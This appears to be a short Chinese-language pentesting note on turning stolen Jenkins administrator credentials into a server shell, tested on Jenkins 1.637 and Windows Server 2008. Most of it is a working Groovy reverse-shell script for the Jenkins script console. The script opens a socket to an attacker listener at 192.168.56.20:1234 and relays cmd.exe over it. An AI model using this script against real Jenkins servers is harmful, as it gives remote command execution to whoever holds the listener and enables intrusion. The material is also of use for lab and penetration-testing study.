跳到主要内容

Jenkins

一、当获得 Jenkins 后台管理员的凭据时,该如何依据当前情况继续获得服务器的 shell。

实验环境:Jenkins 1.637 + windows server 2008

(1)导航到“系统管理-脚本命令行”页面,并编辑如下脚本内容:

脚本来源:https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

String host="192.168.56.20";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

(2)运行之后,即可获得来自服务端的 shell。